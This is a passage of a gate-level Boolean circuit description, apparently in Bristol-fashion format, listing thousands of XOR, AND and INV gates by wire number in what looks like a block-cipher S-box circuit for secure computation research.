AND +2 1 33239 35004 5747 XOR +2 1 5746 5747 34891 XOR +2 1 34891 355 33538 XOR +2 1 33538 33540 17334 XOR +2 1 33538 33541 17425 XOR +2 1 17425 17348 17421 XOR +2 1 17331 17425 17417 XOR +2 1 33534 17417 17416 XOR +2 1 33536 33538 17427 XOR +2 1 17332 17427 17412 XOR +2 1 17334 17332 17294 XOR +2 1 17331 17294 17415 XOR +2 1 17334 33539 17293 XOR +2 1 33534 17293 17422 XOR +2 1 17417 17421 17410 AND +2 1 17410 17334 17337 XOR +2 1 17418 17416 17409 AND +2 1 17422 33534 17408 AND +2 1 17425 17414 17404 AND +2 1 17404 17333 17335 XOR +2 1 17337 17335 17341 XOR +2 1 33541 17341 17346 XOR +2 1 17427 17412 17403 AND +2 1 17403 17409 17355 XOR +2 1 17355 17346 17401 XOR +2 1 17403 17404 17307 XOR +2 1 17307 17308 17354 XOR +2 1 17354 17336 17353 XOR +2 1 17406 17353 17400 XOR +2 1 17424 17415 17402 AND +2 1 17402 17405 17356 XOR +2 1 17402 17408 17360 XOR +2 1 17360 17332 17347 XOR +2 1 17355 17347 17398 XOR +2 1 17403 17356 17350 XOR +2 1 17336 17356 17310 XOR +2 1 17310 17335 17399 XOR +2 1 17341 17360 17309 XOR +2 1 33539 17309 17352 XOR +2 1 17406 17350 17306 XOR +2 1 33535 17306 17393 XOR +2 1 17401 17400 17397 AND +2 1 17397 17352 17392 XOR +2 1 17397 17399 17396 XOR +2 1 17398 17396 17395 AND +2 1 17395 17352 17394 XOR +2 1 17395 17407 17301 XOR +2 1 17301 17337 17297 XOR +2 1 33541 17297 17300 XOR +2 1 17395 17346 17298 XOR +2 1 33539 17297 17296 XOR +2 1 17392 17393 17391 AND +2 1 17391 17399 17390 XOR +2 1 17397 17391 17389 XOR +2 1 17391 17350 17305 XOR +2 1 17391 17408 17304 XOR +2 1 17304 17405 17299 XOR +2 1 17299 17300 17382 XOR +2 1 17399 17389 17388 AND +2 1 17388 17396 17386 XOR +2 1 17388 17406 17359 XOR +2 1 17359 17353 17380 XOR +2 1 33535 17359 17342 XOR +2 1 17342 17305 17387 XOR +2 1 17394 17386 17385 AND +2 1 17385 17355 17345 XOR +2 1 17345 17347 17384 XOR +2 1 17385 17409 17303 XOR +2 1 17342 17303 17295 XOR +2 1 17332 17295 17302 XOR +2 1 17299 17302 17383 XOR +2 1 17345 17298 17381 XOR +2 1 17295 17296 17379 XOR +2 1 17380 17417 17378 AND +2 1 17387 17416 17377 AND +2 1 17390 33534 17376 AND +2 1 17376 17378 17358 XOR +2 1 17381 17411 17375 AND +2 1 17384 17423 17374 AND +2 1 17394 17413 17373 AND +2 1 17373 17374 17312 XOR +2 1 17382 17414 17372 AND +2 1 17379 17412 17371 AND +2 1 17371 17374 17327 XOR +1 1 17327 17324 INV +2 1 17371 17372 17323 XOR +2 1 17383 17415 17370 AND +2 1 17380 17421 17369 AND +2 1 17387 17418 17368 AND +2 1 17390 17422 17367 AND +2 1 17381 17426 17366 AND +2 1 17366 17370 17343 XOR +2 1 17375 17366 17328 XOR +1 1 17343 17321 INV +2 1 17384 17419 17365 AND +2 1 17373 17365 17330 XOR +2 1 17394 17420 17364 AND +2 1 17321 17364 17320 XOR +2 1 17320 17358 17316 XOR +2 1 17382 17425 17363 AND +2 1 17363 17316 17319 XOR +2 1 17379 17427 17362 AND +2 1 17362 17363 17357 XOR +2 1 17368 17357 17339 XOR +2 1 17369 17339 17340 XOR +2 1 17377 17340 17344 XOR +2 1 17378 17344 17349 XOR +2 1 17330 17357 17326 XOR +2 1 17358 17326 17329 XOR +2 1 17328 17329 17431 XOR +2 1 17321 17326 17325 XOR +2 1 17324 17325 17430 XOR +2 1 17349 17323 17429 XOR +2 1 17429 35201 6427 XOR +2 1 17339 17316 17315 XOR +2 1 17376 17344 17313 XOR +2 1 17312 17313 35208 XOR +2 1 6530 35208 6529 XOR +2 1 6528 6529 35083 XOR +2 1 35083 1004 33657 XOR +2 1 35204 35208 6649 XOR +2 1 6650 6649 6514 XOR +1 1 6514 6512 INV +2 1 17383 17424 17361 AND +2 1 17372 17361 17322 XOR +1 1 17322 17318 INV +2 1 17318 17319 17428 XOR +1 1 17429 35210 INV +2 1 35208 35198 6345 XOR +2 1 6645 17429 6521 XOR +2 1 6521 6522 35086 XOR +2 1 35086 1001 33660 XOR +2 1 32895 35210 6639 XOR +2 1 6647 6639 6537 XOR +2 1 32903 6537 35078 XOR +2 1 6639 32902 6446 XOR +2 1 6639 6595 6508 XOR +2 1 35206 6508 35095 XOR +2 1 35078 1009 33652 XOR +2 1 35095 992 33669 XOR +2 1 35249 35262 6614 XOR +2 1 6682 6614 35179 XOR +2 1 35179 908 33753 XOR +2 1 6614 6605 6585 XOR +2 1 6653 6588 6564 XOR +2 1 6664 6649 35075 XOR +2 1 35075 1012 33649 XOR +2 1 17374 17375 32678 XOR +2 1 32678 17349 35209 XOR +2 1 35205 35209 6646 XOR +2 1 6596 35209 6381 XOR +2 1 6381 6382 6666 XOR +2 1 35209 6058 6464 XOR +2 1 6647 6646 6511 XOR +2 1 32894 6511 35093 XOR +2 1 6666 6650 35084 XOR +2 1 35084 1003 33658 XOR +2 1 33658 33660 19697 XOR +2 1 35093 994 33667 XOR +2 1 33667 33669 23170 XOR +2 1 6541 6646 6539 XOR +2 1 6539 6540 35076 XOR +2 1 35076 1011 33650 XOR +2 1 33650 33652 16639 XOR +2 1 17371 32678 17351 XOR +2 1 17367 17351 17317 XOR +1 1 17317 17314 INV +2 1 17314 17315 35207 XOR +2 1 17372 17351 17311 XOR +2 1 17340 17311 35211 XOR +2 1 6688 35211 6519 XOR +2 1 6519 6520 35087 XOR +2 1 35192 35207 6637 XOR +2 1 6637 6636 6531 XOR +2 1 35196 6531 35082 XOR +2 1 35082 1005 33656 XOR +2 1 33656 33658 19790 XOR +2 1 33657 33656 19671 XOR +1 1 6637 6499 INV +2 1 6649 6499 6496 XOR +2 1 6499 32777 6568 XOR +2 1 6568 6569 35074 XOR +2 1 35074 1013 33648 XOR +2 1 33648 33650 16732 XOR +2 1 33649 33648 16613 XOR +2 1 35206 35211 6594 XOR +2 1 6645 6594 6536 XOR +2 1 35195 6536 35079 XOR +2 1 35079 1008 33653 XOR +2 1 33650 33653 16730 XOR +2 1 33653 33648 16729 XOR +1 1 6594 6685 INV +2 1 6685 32903 6426 XOR +2 1 6426 6427 35071 XOR +2 1 6685 35205 6513 XOR +2 1 6512 6513 35092 XOR +2 1 35092 995 33666 XOR +2 1 35071 1016 33645 XOR +2 1 6685 35207 6389 XOR +2 1 6389 6390 6662 XOR +2 1 33666 33669 23263 XOR +2 1 6662 6659 35091 XOR +2 1 35091 996 33665 XOR +2 1 35195 35211 6602 XOR +1 1 6602 6498 INV +2 1 6498 35197 6497 XOR +2 1 6496 6497 35067 XOR +2 1 35067 1020 33641 XOR +2 1 6602 35193 6344 XOR +2 1 6344 6345 6681 XOR +2 1 6635 6602 6587 XOR +2 1 6681 6646 35068 XOR +2 1 35068 1019 33642 XOR +2 1 33642 33645 14645 XOR +2 1 6635 6594 6518 XOR +2 1 32897 6518 35088 XOR +2 1 35088 999 33662 XOR +2 1 35087 1000 33661 XOR +2 1 33658 33661 19788 XOR +2 1 33661 33656 19787 XOR +2 1 20154 20155 32698 XOR +2 1 32698 20129 35250 XOR +1 1 35250 6394 INV +2 1 35254 6394 6393 XOR +2 1 35263 6394 6583 XOR +2 1 6582 6583 35165 XOR +2 1 35165 922 33739 XOR +2 1 33739 33741 21780 XOR +2 1 35250 35255 6654 XOR +2 1 6660 6654 35188 XOR +2 1 35188 899 33762 XOR +2 1 33762 33764 20670 XOR +2 1 6654 6608 6559 XOR +2 1 6559 6560 35180 XOR +2 1 35180 907 33754 XOR +2 1 33754 33756 19419 XOR +2 1 20151 32698 20131 XOR +2 1 20147 20131 20097 XOR +1 1 20097 20094 INV +2 1 20094 20095 35248 XOR +2 1 20152 20131 20091 XOR +2 1 20120 20091 35252 XOR +2 1 35252 35264 6600 XOR +2 1 6638 6600 6399 XOR +2 1 32948 6399 35160 XOR +2 1 35160 927 33734 XOR +2 1 6600 35248 6356 XOR +2 1 6356 6357 6676 XOR +2 1 35248 35253 6628 XOR +2 1 6628 35261 6561 XOR +2 1 6628 6618 6549 XOR +2 1 35257 6549 35186 XOR +2 1 6561 6562 35178 XOR +2 1 35178 909 33752 XOR +2 1 35186 901 33760 XOR +2 1 6628 6614 6573 XOR +2 1 33752 33754 19512 XOR +2 1 33753 33752 19393 XOR +1 1 6573 6571 INV +2 1 33760 33762 20763 XOR +2 1 33761 33760 20644 XOR +2 1 6600 35255 6586 XOR +2 1 35252 6564 35175 XOR +2 1 35175 912 33749 XOR +2 1 6585 6586 35164 XOR +2 1 35164 923 33738 XOR +2 1 33738 33741 21873 XOR +2 1 6676 6608 35163 XOR +2 1 35163 924 33737 XOR +2 1 35252 35256 6589 XOR +2 1 6638 6589 6578 XOR +2 1 6589 35264 6554 XOR +2 1 6611 6589 6542 XOR +2 1 35260 6542 35191 XOR +2 1 35191 896 33765 XOR +2 1 33762 33765 20761 XOR +2 1 33765 33760 20760 XOR +2 1 6554 6555 35183 XOR +2 1 35183 904 33757 XOR +2 1 33754 33757 19510 XOR +2 1 33757 33752 19509 XOR +1 1 6589 6687 INV +2 1 6687 35258 6572 XOR +2 1 6687 35249 6392 XOR +2 1 6392 6393 6661 XOR +2 1 6571 6572 35171 XOR +2 1 35171 916 33745 XOR +2 1 6661 6605 35172 XOR +2 1 35172 915 33746 XOR +2 1 33746 33749 17981 XOR +1 1 17431 32929 INV +2 1 6594 32929 6387 XOR +2 1 6387 6388 6663 XOR +2 1 32897 32929 6658 XOR +2 1 6658 6596 6535 XOR +2 1 32778 6535 35080 XOR +2 1 35080 1007 33654 XOR +2 1 6658 6636 6526 XOR +2 1 6658 6595 6410 XOR +2 1 32896 6410 35072 XOR +2 1 35072 1015 33646 XOR +2 1 33646 33652 16643 XOR +2 1 33654 33660 19701 XOR +2 1 32929 6587 35064 XOR +2 1 35064 1023 33638 XOR +2 1 6663 6636 35089 XOR +2 1 35089 998 33663 XOR +2 1 33663 33665 23169 XOR +2 1 23169 23263 23255 XOR +2 1 33662 23255 23254 XOR +2 1 33669 33663 23264 XOR +1 1 17428 32935 INV +2 1 32894 32935 6642 XOR +2 1 6645 6642 6509 XOR +2 1 32895 6509 35094 XOR +2 1 6642 35194 6465 XOR +1 1 6465 6463 INV +2 1 6463 6464 35069 XOR +2 1 32935 6059 6447 XOR +2 1 6446 6447 6445 XOR +1 1 6445 35070 INV +2 1 35070 1017 33644 XOR +2 1 35094 993 33668 XOR +2 1 35069 1018 33643 XOR +2 1 33638 33644 14558 XOR +2 1 33643 14558 14643 XOR +2 1 33643 33645 14552 XOR +2 1 14552 14558 14640 XOR +2 1 33642 33644 14554 XOR +2 1 14554 33643 14513 XOR +2 1 14554 14552 14514 XOR +2 1 33638 14513 14642 XOR +2 1 14642 33638 14628 AND +2 1 6647 32935 6523 XOR +2 1 6523 6524 35085 XOR +2 1 35085 1002 33659 XOR +2 1 33659 33661 19695 XOR +2 1 19695 19790 19775 XOR +2 1 19695 19701 19783 XOR +2 1 33659 19701 19786 XOR +2 1 19697 19695 19657 XOR +2 1 19697 33659 19656 XOR +2 1 33654 19656 19785 XOR +2 1 19785 33654 19771 AND +2 1 19790 19775 19766 AND +2 1 6650 6642 6538 XOR +2 1 33666 33668 23172 XOR +2 1 33662 33668 23176 XOR +2 1 23170 23176 23258 XOR +2 1 33667 23176 23261 XOR +2 1 33663 23261 23257 XOR +2 1 23172 23170 23132 XOR +2 1 23169 23132 23253 XOR +2 1 23172 33667 23131 XOR +2 1 33662 23131 23260 XOR +2 1 23260 33662 23246 AND +2 1 23261 23257 23244 AND +2 1 32902 6538 35077 XOR +2 1 35077 1010 33651 XOR +2 1 33651 33653 16637 XOR +2 1 16637 16732 16717 XOR +2 1 16637 16643 16725 XOR +2 1 33651 16643 16728 XOR +2 1 16639 16637 16599 XOR +2 1 16639 33651 16598 XOR +2 1 33646 16598 16727 XOR +2 1 16727 33646 16713 AND +2 1 16732 16717 16708 AND +1 1 17430 32936 INV +2 1 32936 14789 6516 XOR +2 1 6515 6516 35090 XOR +2 1 35090 997 33664 XOR +2 1 6498 32936 6527 XOR +2 1 6526 6527 6525 XOR +1 1 6525 35065 INV +2 1 35065 1022 33639 XOR +2 1 33639 14643 14639 XOR +2 1 14643 14639 14626 AND +2 1 33639 33641 14551 XOR +2 1 33645 33639 14646 XOR +2 1 14551 14645 14637 XOR +2 1 14551 14514 14635 XOR +2 1 32904 32936 6657 XOR +2 1 6657 6635 6533 XOR +2 1 6533 6534 6532 XOR +1 1 6532 35081 INV +2 1 6657 6634 6510 XOR +2 1 35207 6510 35066 XOR +2 1 35081 1006 33655 XOR +2 1 35066 1021 33640 XOR +2 1 33645 33640 14644 XOR +2 1 14644 14635 14622 AND +2 1 33639 33640 14568 XOR +2 1 14645 14568 14641 XOR +2 1 33640 33642 14647 XOR +2 1 14568 14640 14638 XOR +2 1 33640 14551 14553 XOR +2 1 33643 14553 14631 XOR +2 1 14558 14553 14633 XOR +2 1 14646 14631 14627 AND +2 1 14640 14633 14625 AND +2 1 14627 14552 14556 XOR +2 1 14622 14628 14580 XOR +2 1 14580 14552 14567 XOR +2 1 14622 14625 14576 XOR +2 1 14556 14576 14530 XOR +2 1 33641 33640 14528 XOR +2 1 14637 14641 14630 AND +2 1 14630 14554 14557 XOR +2 1 33655 33657 19694 XOR +2 1 33656 19694 19696 XOR +2 1 33660 19696 19777 XOR +2 1 33659 19696 19774 XOR +2 1 19701 19696 19776 XOR +2 1 33655 19786 19782 XOR +2 1 19694 19788 19780 XOR +2 1 33654 19780 19779 XOR +2 1 33655 33656 19711 XOR +2 1 19711 19783 19781 XOR +2 1 19788 19711 19784 XOR +2 1 19694 19657 19778 XOR +2 1 33661 33655 19789 XOR +2 1 19780 19784 19773 AND +2 1 19773 19697 19700 XOR +2 1 19781 19779 19772 AND +2 1 19766 19772 19718 XOR +2 1 19789 19774 19770 AND +2 1 19770 19695 19699 XOR +2 1 19786 19782 19769 AND +2 1 19783 19776 19768 AND +2 1 19788 19777 19767 AND +2 1 19767 19696 19698 XOR +2 1 19700 19698 19704 XOR +2 1 33661 19704 19709 XOR +2 1 19718 19709 19764 XOR +2 1 19766 19767 19670 XOR +2 1 19670 19671 19717 XOR +2 1 19717 19699 19716 XOR +2 1 19769 19716 19763 XOR +2 1 19787 19778 19765 AND +2 1 19765 19768 19719 XOR +2 1 19765 19771 19723 XOR +2 1 19723 19695 19710 XOR +2 1 19718 19710 19761 XOR +2 1 19766 19719 19713 XOR +2 1 19699 19719 19673 XOR +2 1 19673 19698 19762 XOR +2 1 19704 19723 19672 XOR +2 1 33659 19672 19715 XOR +2 1 19769 19713 19669 XOR +2 1 33655 19669 19756 XOR +2 1 19764 19763 19760 AND +2 1 19760 19715 19755 XOR +2 1 19760 19762 19759 XOR +2 1 19761 19759 19758 AND +2 1 19758 19715 19757 XOR +2 1 19758 19770 19664 XOR +2 1 19664 19700 19660 XOR +2 1 33661 19660 19663 XOR +2 1 19758 19709 19661 XOR +2 1 33659 19660 19659 XOR +2 1 19755 19756 19754 AND +2 1 19754 19762 19753 XOR +2 1 19760 19754 19752 XOR +2 1 19754 19713 19668 XOR +2 1 19754 19771 19667 XOR +2 1 19667 19768 19662 XOR +2 1 19662 19663 19745 XOR +2 1 19762 19752 19751 AND +2 1 19751 19759 19749 XOR +2 1 19751 19769 19722 XOR +2 1 19722 19716 19743 XOR +2 1 33655 19722 19705 XOR +2 1 19705 19668 19750 XOR +2 1 19757 19749 19748 AND +2 1 19748 19718 19708 XOR +2 1 19708 19710 19747 XOR +2 1 19748 19772 19666 XOR +2 1 19705 19666 19658 XOR +2 1 19695 19658 19665 XOR +2 1 19662 19665 19746 XOR +2 1 19708 19661 19744 XOR +2 1 19658 19659 19742 XOR +2 1 19743 19780 19741 AND +2 1 19750 19779 19740 AND +2 1 19753 33654 19739 AND +2 1 19739 19741 19721 XOR +2 1 19744 19774 19738 AND +2 1 19747 19786 19737 AND +2 1 19757 19776 19736 AND +2 1 19736 19737 19675 XOR +2 1 19745 19777 19735 AND +2 1 19742 19775 19734 AND +2 1 19734 19737 19690 XOR +1 1 19690 19687 INV +2 1 19734 19735 19686 XOR +2 1 19746 19778 19733 AND +2 1 19743 19784 19732 AND +2 1 19750 19781 19731 AND +2 1 19753 19785 19730 AND +2 1 19744 19789 19729 AND +2 1 19729 19733 19706 XOR +2 1 19738 19729 19691 XOR +1 1 19706 19684 INV +2 1 19747 19782 19728 AND +2 1 19736 19728 19693 XOR +2 1 19757 19783 19727 AND +2 1 19684 19727 19683 XOR +2 1 19683 19721 19679 XOR +2 1 19745 19788 19726 AND +2 1 19726 19679 19682 XOR +2 1 19742 19790 19725 AND +2 1 19725 19726 19720 XOR +2 1 19731 19720 19702 XOR +2 1 19732 19702 19703 XOR +2 1 19740 19703 19707 XOR +2 1 19741 19707 19712 XOR +2 1 19693 19720 19689 XOR +2 1 19721 19689 19692 XOR +2 1 19691 19692 19794 XOR +2 1 19684 19689 19688 XOR +2 1 19687 19688 19793 XOR +2 1 19712 19686 19792 XOR +2 1 19702 19679 19678 XOR +2 1 19739 19707 19676 XOR +2 1 19675 19676 35423 XOR +2 1 35423 35427 7107 XOR +2 1 19746 19787 19724 AND +2 1 19735 19724 19685 XOR +1 1 19685 19681 INV +2 1 19681 19682 19791 XOR +2 1 33644 14553 14634 XOR +2 1 14645 14634 14624 AND +2 1 14624 14553 14555 XOR +2 1 14557 14555 14561 XOR +2 1 33645 14561 14566 XOR +2 1 14530 14555 14619 XOR +2 1 14561 14580 14529 XOR +2 1 33643 14529 14572 XOR +2 1 33638 14637 14636 XOR +2 1 14638 14636 14629 AND +2 1 14552 14647 14632 XOR +2 1 14647 14632 14623 AND +2 1 14623 14629 14575 XOR +2 1 14575 14567 14618 XOR +2 1 14575 14566 14621 XOR +2 1 14623 14576 14570 XOR +2 1 14626 14570 14526 XOR +2 1 14623 14624 14527 XOR +2 1 14527 14528 14574 XOR +2 1 14574 14556 14573 XOR +2 1 14626 14573 14620 XOR +2 1 14621 14620 14617 AND +2 1 14617 14619 14616 XOR +2 1 14618 14616 14615 AND +2 1 14615 14572 14614 XOR +2 1 14614 14640 14584 AND +2 1 14614 14633 14593 AND +2 1 14615 14627 14521 XOR +2 1 33639 14526 14613 XOR +2 1 14521 14557 14517 XOR +2 1 33643 14517 14516 XOR +2 1 33645 14517 14520 XOR +2 1 14615 14566 14518 XOR +2 1 14617 14572 14612 XOR +2 1 14612 14613 14611 AND +2 1 14611 14619 14610 XOR +2 1 14610 33638 14596 AND +2 1 14617 14611 14609 XOR +2 1 14619 14609 14608 AND +2 1 14608 14616 14606 XOR +2 1 14614 14606 14605 AND +2 1 14605 14575 14565 XOR +2 1 14565 14567 14604 XOR +2 1 14604 14639 14585 AND +2 1 14593 14585 14550 XOR +2 1 14604 14643 14594 AND +2 1 14593 14594 14532 XOR +2 1 14610 14642 14587 AND +2 1 14608 14626 14579 XOR +2 1 33639 14579 14562 XOR +2 1 14611 14570 14525 XOR +2 1 14562 14525 14607 XOR +2 1 14607 14636 14597 AND +2 1 14607 14638 14588 AND +2 1 14611 14628 14524 XOR +2 1 14524 14625 14519 XOR +2 1 14605 14629 14523 XOR +2 1 14562 14523 14515 XOR +2 1 14515 14516 14599 XOR +2 1 14599 14647 14582 AND +2 1 14552 14515 14522 XOR +2 1 14519 14522 14603 XOR +2 1 14603 14644 14581 AND +2 1 14599 14632 14591 AND +2 1 14603 14635 14590 AND +2 1 14591 14594 14547 XOR +1 1 14547 14544 INV +2 1 14519 14520 14602 XOR +2 1 14602 14645 14583 AND +2 1 14602 14634 14592 AND +2 1 14582 14583 14577 XOR +2 1 14591 14592 14543 XOR +2 1 14592 14581 14542 XOR +2 1 14550 14577 14546 XOR +1 1 14542 14538 INV +2 1 14588 14577 14559 XOR +2 1 14565 14518 14601 XOR +2 1 14601 14631 14595 AND +2 1 14601 14646 14586 AND +2 1 14586 14590 14563 XOR +2 1 14595 14586 14548 XOR +1 1 14563 14541 INV +2 1 14541 14546 14545 XOR +2 1 14544 14545 14650 XOR +2 1 14541 14584 14540 XOR +2 1 14579 14573 14600 XOR +2 1 14600 14637 14598 AND +2 1 14600 14641 14589 AND +2 1 14589 14559 14560 XOR +2 1 14597 14560 14564 XOR +2 1 14596 14564 14533 XOR +2 1 14598 14564 14569 XOR +2 1 14569 14543 14649 XOR +1 1 14649 35452 INV +2 1 14532 14533 35450 XOR +2 1 14596 14598 14578 XOR +2 1 14540 14578 14536 XOR +2 1 14583 14536 14539 XOR +2 1 14538 14539 14648 XOR +2 1 14559 14536 14535 XOR +2 1 14578 14546 14549 XOR +2 1 14548 14549 14651 XOR +2 1 33664 23169 23171 XOR +2 1 33668 23171 23252 XOR +2 1 33667 23171 23249 XOR +2 1 23176 23171 23251 XOR +2 1 33663 33664 23186 XOR +2 1 23186 23258 23256 XOR +2 1 23263 23186 23259 XOR +2 1 33664 33666 23265 XOR +2 1 23170 23265 23250 XOR +2 1 33665 33664 23146 XOR +2 1 33669 33664 23262 XOR +2 1 23255 23259 23248 AND +2 1 23248 23172 23175 XOR +2 1 23256 23254 23247 AND +2 1 23264 23249 23245 AND +2 1 23245 23170 23174 XOR +2 1 23258 23251 23243 AND +2 1 23263 23252 23242 AND +2 1 23242 23171 23173 XOR +2 1 23175 23173 23179 XOR +2 1 33669 23179 23184 XOR +2 1 23265 23250 23241 AND +2 1 23241 23247 23193 XOR +2 1 23193 23184 23239 XOR +2 1 23241 23242 23145 XOR +2 1 23145 23146 23192 XOR +2 1 23192 23174 23191 XOR +2 1 23244 23191 23238 XOR +2 1 23262 23253 23240 AND +2 1 23240 23243 23194 XOR +2 1 23240 23246 23198 XOR +2 1 23198 23170 23185 XOR +2 1 23193 23185 23236 XOR +2 1 23241 23194 23188 XOR +2 1 23174 23194 23148 XOR +2 1 23148 23173 23237 XOR +2 1 23179 23198 23147 XOR +2 1 33667 23147 23190 XOR +2 1 23244 23188 23144 XOR +2 1 33663 23144 23231 XOR +2 1 23239 23238 23235 AND +2 1 23235 23190 23230 XOR +2 1 23235 23237 23234 XOR +2 1 23236 23234 23233 AND +2 1 23233 23190 23232 XOR +2 1 23233 23245 23139 XOR +2 1 23139 23175 23135 XOR +2 1 33669 23135 23138 XOR +2 1 23233 23184 23136 XOR +2 1 33667 23135 23134 XOR +2 1 23230 23231 23229 AND +2 1 23229 23237 23228 XOR +2 1 23235 23229 23227 XOR +2 1 23229 23188 23143 XOR +2 1 23229 23246 23142 XOR +2 1 23142 23243 23137 XOR +2 1 23137 23138 23220 XOR +2 1 23237 23227 23226 AND +2 1 23226 23234 23224 XOR +2 1 23226 23244 23197 XOR +2 1 23197 23191 23218 XOR +2 1 33663 23197 23180 XOR +2 1 23180 23143 23225 XOR +2 1 23232 23224 23223 AND +2 1 23223 23193 23183 XOR +2 1 23183 23185 23222 XOR +2 1 23223 23247 23141 XOR +2 1 23180 23141 23133 XOR +2 1 23170 23133 23140 XOR +2 1 23137 23140 23221 XOR +2 1 23183 23136 23219 XOR +2 1 23133 23134 23217 XOR +2 1 23218 23255 23216 AND +2 1 23225 23254 23215 AND +2 1 23228 33662 23214 AND +2 1 23214 23216 23196 XOR +2 1 23219 23249 23213 AND +2 1 23222 23261 23212 AND +2 1 23232 23251 23211 AND +2 1 23211 23212 23150 XOR +2 1 23220 23252 23210 AND +2 1 23217 23250 23209 AND +2 1 23209 23212 23165 XOR +1 1 23165 23162 INV +2 1 23209 23210 23161 XOR +2 1 23221 23253 23208 AND +2 1 23218 23259 23207 AND +2 1 23225 23256 23206 AND +2 1 23228 23260 23205 AND +2 1 23219 23264 23204 AND +2 1 23204 23208 23181 XOR +2 1 23213 23204 23166 XOR +1 1 23181 23159 INV +2 1 23222 23257 23203 AND +2 1 23211 23203 23168 XOR +2 1 23232 23258 23202 AND +2 1 23159 23202 23158 XOR +2 1 23158 23196 23154 XOR +2 1 23220 23263 23201 AND +2 1 23201 23154 23157 XOR +2 1 23217 23265 23200 AND +2 1 23200 23201 23195 XOR +2 1 23206 23195 23177 XOR +2 1 23207 23177 23178 XOR +2 1 23215 23178 23182 XOR +2 1 23216 23182 23187 XOR +2 1 23168 23195 23164 XOR +2 1 23196 23164 23167 XOR +2 1 23166 23167 23269 XOR +2 1 23159 23164 23163 XOR +2 1 23162 23163 23268 XOR +2 1 23187 23161 23267 XOR +2 1 23267 35402 6916 XOR +2 1 7135 23267 7011 XOR +2 1 23177 23154 23153 XOR +2 1 23214 23182 23151 XOR +2 1 23150 23151 35409 XOR +2 1 35409 35399 6834 XOR +2 1 23221 23262 23199 AND +2 1 23210 23199 23160 XOR +1 1 23160 23156 INV +2 1 23156 23157 23266 XOR +1 1 23267 35411 INV +2 1 6665 6657 35073 XOR +2 1 35073 1014 33647 XOR +2 1 33647 33649 16636 XOR +2 1 33648 16636 16638 XOR +2 1 33652 16638 16719 XOR +2 1 33651 16638 16716 XOR +2 1 16643 16638 16718 XOR +2 1 33647 16728 16724 XOR +2 1 16636 16730 16722 XOR +2 1 33646 16722 16721 XOR +2 1 33647 33648 16653 XOR +2 1 16653 16725 16723 XOR +2 1 16730 16653 16726 XOR +2 1 16636 16599 16720 XOR +2 1 33653 33647 16731 XOR +2 1 16722 16726 16715 AND +2 1 16715 16639 16642 XOR +2 1 16723 16721 16714 AND +2 1 16708 16714 16660 XOR +2 1 16731 16716 16712 AND +2 1 16712 16637 16641 XOR +2 1 16728 16724 16711 AND +2 1 16725 16718 16710 AND +2 1 16730 16719 16709 AND +2 1 16709 16638 16640 XOR +2 1 16642 16640 16646 XOR +2 1 33653 16646 16651 XOR +2 1 16660 16651 16706 XOR +2 1 16708 16709 16612 XOR +2 1 16612 16613 16659 XOR +2 1 16659 16641 16658 XOR +2 1 16711 16658 16705 XOR +2 1 16729 16720 16707 AND +2 1 16707 16710 16661 XOR +2 1 16707 16713 16665 XOR +2 1 16665 16637 16652 XOR +2 1 16660 16652 16703 XOR +2 1 16708 16661 16655 XOR +2 1 16641 16661 16615 XOR +2 1 16615 16640 16704 XOR +2 1 16646 16665 16614 XOR +2 1 33651 16614 16657 XOR +2 1 16711 16655 16611 XOR +2 1 33647 16611 16698 XOR +2 1 16706 16705 16702 AND +2 1 16702 16657 16697 XOR +2 1 16702 16704 16701 XOR +2 1 16703 16701 16700 AND +2 1 16700 16657 16699 XOR +2 1 16700 16712 16606 XOR +2 1 16606 16642 16602 XOR +2 1 33653 16602 16605 XOR +2 1 16700 16651 16603 XOR +2 1 33651 16602 16601 XOR +2 1 16697 16698 16696 AND +2 1 16696 16704 16695 XOR +2 1 16702 16696 16694 XOR +2 1 16696 16655 16610 XOR +2 1 16696 16713 16609 XOR +2 1 16609 16710 16604 XOR +2 1 16604 16605 16687 XOR +2 1 16704 16694 16693 AND +2 1 16693 16701 16691 XOR +2 1 16693 16711 16664 XOR +2 1 16664 16658 16685 XOR +2 1 33647 16664 16647 XOR +2 1 16647 16610 16692 XOR +2 1 16699 16691 16690 AND +2 1 16690 16660 16650 XOR +2 1 16650 16652 16689 XOR +2 1 16690 16714 16608 XOR +2 1 16647 16608 16600 XOR +2 1 16637 16600 16607 XOR +2 1 16604 16607 16688 XOR +2 1 16650 16603 16686 XOR +2 1 16600 16601 16684 XOR +2 1 16685 16722 16683 AND +2 1 16692 16721 16682 AND +2 1 16695 33646 16681 AND +2 1 16681 16683 16663 XOR +2 1 16686 16716 16680 AND +2 1 16689 16728 16679 AND +2 1 16699 16718 16678 AND +2 1 16678 16679 16617 XOR +2 1 16687 16719 16677 AND +2 1 16684 16717 16676 AND +2 1 16676 16679 16632 XOR +1 1 16632 16629 INV +2 1 16676 16677 16628 XOR +2 1 16688 16720 16675 AND +2 1 16685 16726 16674 AND +2 1 16692 16723 16673 AND +2 1 16695 16727 16672 AND +2 1 16686 16731 16671 AND +2 1 16671 16675 16648 XOR +2 1 16680 16671 16633 XOR +1 1 16648 16626 INV +2 1 16689 16724 16670 AND +2 1 16678 16670 16635 XOR +2 1 16699 16725 16669 AND +2 1 16626 16669 16625 XOR +2 1 16625 16663 16621 XOR +2 1 16687 16730 16668 AND +2 1 16668 16621 16624 XOR +2 1 16684 16732 16667 AND +2 1 16667 16668 16662 XOR +2 1 16673 16662 16644 XOR +2 1 16674 16644 16645 XOR +2 1 16682 16645 16649 XOR +2 1 16683 16649 16654 XOR +2 1 16635 16662 16631 XOR +2 1 16663 16631 16634 XOR +2 1 16633 16634 16736 XOR +2 1 16626 16631 16630 XOR +2 1 16629 16630 16735 XOR +2 1 32882 16735 6912 XOR +2 1 16654 16628 16734 XOR +2 1 16644 16621 16620 XOR +2 1 16681 16649 16618 XOR +2 1 16617 16618 35436 XOR +2 1 16688 16729 16666 AND +2 1 16677 16666 16627 XOR +1 1 16627 16623 INV +2 1 16623 16624 16733 XOR +2 1 32888 16733 6907 XOR +1 1 16735 35434 INV +1 1 16734 35439 INV +1 1 16733 35438 INV +2 1 32881 16734 6905 XOR +1 1 35436 6859 INV +2 1 35442 6859 6869 XOR +2 1 14594 14595 32658 XOR +2 1 32658 14569 35451 XOR +1 1 35451 6883 INV +2 1 14591 32658 14571 XOR +2 1 14587 14571 14537 XOR +1 1 14537 14534 INV +2 1 14592 14571 14531 XOR +2 1 14560 14531 35453 XOR +2 1 14534 14535 35449 XOR +2 1 16679 16680 32673 XOR +2 1 32673 16654 35437 XOR +2 1 35443 35437 6910 XOR +2 1 16676 32673 16656 XOR +2 1 16672 16656 16622 XOR +1 1 16622 16619 INV +2 1 16619 